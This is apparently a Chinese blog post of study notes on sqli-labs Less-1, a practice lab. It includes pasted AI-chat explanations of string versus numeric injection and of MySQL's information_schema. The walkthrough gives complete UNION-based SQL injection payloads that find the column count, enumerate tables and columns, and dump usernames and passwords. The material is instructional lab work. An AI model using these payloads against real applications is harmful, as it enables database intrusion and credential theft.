首先观察页面信息,看有没有提示。



很显然,这个页面让我们传入id这个参数(根据题目的分支,应该是get方法)

使用HackBar进行传入参数,首先传入id=1

http://localhost/sqli-labs-master/Less-1/?id=1



发现回显正常

第一步、基础判断

下面进行基础的判断,传入id=1' --+

回显正常,所以判断为字符型注入


ps:关于如何字符型注入和数字型注入的区别(来自copilot)

字符型注入和数字型注入是SQL注入漏洞中的两种常见类型。让我们来详细了解一下如何判断它们。

  1. 数字型注入

    • 当输入的参数 x 为整型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = x;
    • 这种类型可以使用经典的 AND 1=1AND 1=2 来判断。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=x AND 1=1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=x AND 1=2,页面会报错,这说明存在数字型注入。
    • 原因是:当输入 AND 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且返回正常。而输入 AND 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = 1 AND 1=2;,没有语法错误但返回错误。
  2. 字符型注入

    • 当输入的参数 x 为字符型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = 'x';
    • 这种类型我们可以使用 AND '1'='1AND '1'='2 来进行测试。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=1' AND '1'='1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=1' AND '1'='2,页面会报错,说明存在字符型注入。
    • 原因是:当输入 AND '1'='1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='1',语法正确、逻辑判断正确,返回正确。而输入 AND '1'='2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='2',语法正确、逻辑判断错误,返回错误。

总结:

  • 字符型注入需要用单引号来闭合字符串,而数字型不需要。
  • 判断注入类型并不是绝对准确的过程,因为攻击者可以使用各种技巧来绕过检测。
  • 最佳实践是使用参数化查询或预编译语句等安全编程技术来防止注入攻击,同时定期更新和修补软件以修复已知的安全漏洞¹³⁴.

源: 与必应的对话, 2024/2/28

(1) 如何判断是字符型注入还是数字型注入 - CSDN博客. https://blog.csdn.net/chenzzhenguo/article/details/108842399.

(2) 关于字符型注入判断的总结 - 知乎. https://zhuanlan.zhihu.com/p/23899464.

(3) sql注入类型的判断 - 知乎. https://zhuanlan.zhihu.com/p/99961411.

(4) 怎么判断sql注入是数字型还是字符型 - CSDN文库. https://bing.com/search?q=如何判断字符型注入.

(5) sql注入入门必看!一篇文章快速判断是字符型注入 .... https://blog.csdn.net/weixin_43919144/article/details/105552701.

(6) undefined. https://www.jianshu.com/p/5edd7a58a69e.

(7) undefined. http://xxx/abc.php?id=.


第二步、判断列数

在我们判断为字符型注入之后,下面进行列数判断

一般用order by

传入id=1' order by 1 --+

回显正常

下面依次尝试2,3,4...

发现order by 4 的时候回显报错

这样就可以判断列数有三列

第三步、爆显示位

这里我们使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆出回显位如图

第四步、获取数据库版本、数据库名称等信息

还是使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

爆出回显如图

第五步、逐步深入获取数据库信息

现在数据库名称已经爆出来了,下面只需要逐步深入数据库内部,从库名到表名到列名,最后提取需要的信息


下面还是补充一点知识点:

information_schema 是 MySQL 自带的一个信息数据库,它保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等¹²³. 让我们来详细了解一下:

  1. SCHEMATA 表:提供了当前 MySQL 实例中所有数据库的信息,类似于 SHOW DATABASES 的结果¹.
  2. TABLES 表:提供了关于数据库中的表的信息,包括视图。它详细描述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息,类似于 SHOW TABLES FROM schemaname 的结果¹.
  3. COLUMNS 表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息,类似于 SHOW COLUMNS FROM schemaname.tablename 的结果¹.
  4. STATISTICS 表:提供了关于表索引的信息,类似于 SHOW INDEX FROM schemaname.tablename 的结果¹.
  5. USER_PRIVILEGES 表:给出了关于全程权限的信息,该信息源自 mysql.user 授权表,是非标准表¹.
  6. SCHEMA_PRIVILEGES 表:给出了关于方案(数据库)权限的信息,该信息来自 mysql.db 授权表,是非标准表¹.
  7. TABLE_PRIVILEGES 表:给出了关于表权限的信息,该信息源自 mysql.tables_priv 授权表,是非标准表¹.
  8. COLUMN_PRIVILEGES 表:给出了关于列权限的信息,该信息源自 mysql.columns_priv 授权表,是非标准表¹.
  9. CHARACTER_SETS 表:提供了 MySQL 实例可用字符集的信息,类似于 SHOW CHARACTER SET 的结果¹.
  10. COLLATIONS 表:提供了关于各字符集的对照信息¹.
  11. COLLATION_CHARACTER_SET_APPLICABILITY 表:指明了可用于校对的字符集,这些列等效于 SHOW COLLATION 的前两个显示字段¹.
  12. TABLE_CONSTRAINTS 表:描述了存在约束的表以及表的约束类型¹.
  13. KEY_COLUMN_USAGE 表:描述了具有约束的键列¹.
  14. ROUTINES 表:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES 表不包含自定义函数(UDF)¹.
  15. VIEWS 表:给出了关于数据库中的视图的信息,需要有 SHOW VIEWS 权限,否则无法查看视图信息¹.
  16. TRIGGERS 表:提供了关于触发程序的信息,必须有 SUPER 权限才能查看该表¹.

总之,information_schema 就像是 MySQL 实例的一个百科全书,记录了数据库中大部分需要了解的信息,包括字符集、权限、数据库实体对象信息、外键约束、分区、压缩表、表信息、索引信息、参数、优化、锁和事务等等。通过 information_schema,我们可以窥探整个 MySQL 实例的运行情况,了解 MySQL 实例的基本信息,甚至进行优化调优和维护数据库¹.

源: 与必应的对话, 2024/2/28

(1) MySQL information_schema 详解 - 知乎. https://zhuanlan.zhihu.com/p/88342863.

(2) mysql中information_schema表 - ruijing - 博客园. https://www.cnblogs.com/ruijing/p/9953283.html.

(3) mysql information_schema介绍 - HalfWater - 博客园. https://www.cnblogs.com/sdgf/p/6365968.html.

(4) MySQL进阶:INFORMATION_SCHEMA 简介 - 程序猿成长计划 .... https://segmentfault.com/a/1190000020855895.


回到题目

首先爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'  --+

下一步爆列(我们选择爆出来的user表)

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'  --+

最后提取信息

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(id,username,password) from users   --+

这样我们注入的目的就达到了

sqli_lab Less1练习笔记的更多相关文章

  1. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  2. 【sqli-labs】Less1~Less4

    学习sql注入啦,一下都是我做sqli-labs时的笔记.可能有错误,如果有人发现了欢迎指正~~ 常用知识点: 1.mysql注释有三种:① #: 注释从#到行尾 ② --空格: 注释到行尾,注意-- ...

  3. sqli-labs学习笔记 DAY1

    DAY 1 准备工作 安装phpstudy 安装配置sqli-labs 学习笔记 SQL语句的注释:–, # +在URL经过编码后会编码为空格 SQL语句的查询语句:SELECT column_nam ...

  4. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  5. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  6. git-简单流程(学习笔记)

    这是阅读廖雪峰的官方网站的笔记,用于自己以后回看 1.进入项目文件夹 初始化一个Git仓库,使用git init命令. 添加文件到Git仓库,分两步: 第一步,使用命令git add <file ...

  7. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

  8. SQL Server技术内幕笔记合集

    SQL Server技术内幕笔记合集 发这一篇文章主要是方便大家找到我的笔记入口,方便大家o(∩_∩)o Microsoft SQL Server 6.5 技术内幕 笔记http://www.cnbl ...

  9. PHP-自定义模板-学习笔记

    1.  开始 这几天,看了李炎恢老师的<PHP第二季度视频>中的“章节7:创建TPL自定义模板”,做一个学习笔记,通过绘制架构图.UML类图和思维导图,来对加深理解. 2.  整体架构图 ...

  10. PHP-会员登录与注册例子解析-学习笔记

    1.开始 最近开始学习李炎恢老师的<PHP第二季度视频>中的“章节5:使用OOP注册会员”,做一个学习笔记,通过绘制基本页面流程和UML类图,来对加深理解. 2.基本页面流程 3.通过UM ...

随机推荐

  1. 一些Clion使用记录

    一些Clion使用记录 编译链设置 在设置"工具链"中可以按需增加不同的编译链 访问越界溢出debug AddressSanitizer介绍:AddressSanitizer 交的 ...

  2. 春风吹又生的开源项目「GitHub 热点速览」

    随着上周知名 Switch 开源模拟器 Yuzu(柚子)被任天堂起诉,该项目作者就删库了,但还是要赔偿任天堂数百万美元.此事还在 GitHub 上掀起了一波 Yuzu fork 项目的小浪潮,正所谓野 ...

  3. RocketMQ为什么这么快?我从源码中扒出了10个原因!

    大家好,我是三友~~ RocketMQ作为阿里开源的消息中间件,深受广大开发者的喜爱 而这其中一个很重要原因就是,它处理消息和拉取消息的速度非常快 那么,问题来了,RocketMQ为什么这么快呢? 接 ...

  4. 函数指针 int (*add)( )

    原文 首先它是一个指针,一个指向函数的指针,在内存空间中存放的是函数的地址: int Add(int x,int y) { return x+y; } int main() { printf(&quo ...

  5. 摆脱鼠标系列 vscode 向右拆分编辑器 ctrl + 右箭头

    摆脱鼠标系列 vscode 向右拆分编辑器 ctrl + 右箭头 为什么 今天看见一个两栏工作的,左侧放的是目录大纲,右侧是代码内容 用快捷键 ctrl + 右箭头 快速扩展一个,关闭可以ctrl + ...

  6. npm pack - npm install .tgz 离线安装 前端开发环境

    npm pack - npm install .tgz 离线安装 前端开发环境 为什么有这个需求 曾经出差,到一个机构里面,里面是局域网,没有外网.后台都是java,刻录个光盘,然后就把开发环境装好了 ...

  7. 日常办公——Word中重复标题的设置

    在Word中,遇到表格分页时,可以设置重复标题,如下图所示:

  8. 可穿戴心电ECG监测的技术路径及特点

    在传统的医疗设备中,监测心跳速率和心脏活动是经由测量电生理讯号与心电图 (ECG) 来完成的,需要将电极连接到身体来量测心脏组织中所引发电气活动的信号.常见的设备用医院的心电图机,长期监护的动态心电仪 ...

  9. JB一键重置

    版本名 版本号 更新时间 更新内容 更新地址 v1.1 2 2020-12-26 在线下载失败的请访问shop.stars-one.site,使用软件找回手动下载\n1.修复bug\n2.修复在线更新 ...

  10. day11-面向对象02

    面向对象02 7.继承 继承的本质是对某一批类的抽象,从而实现对现实世界更好地建模 extends的意思是"扩展".子类是父类的扩展. Java类中只有单继承,没有多继承!(一个儿 ...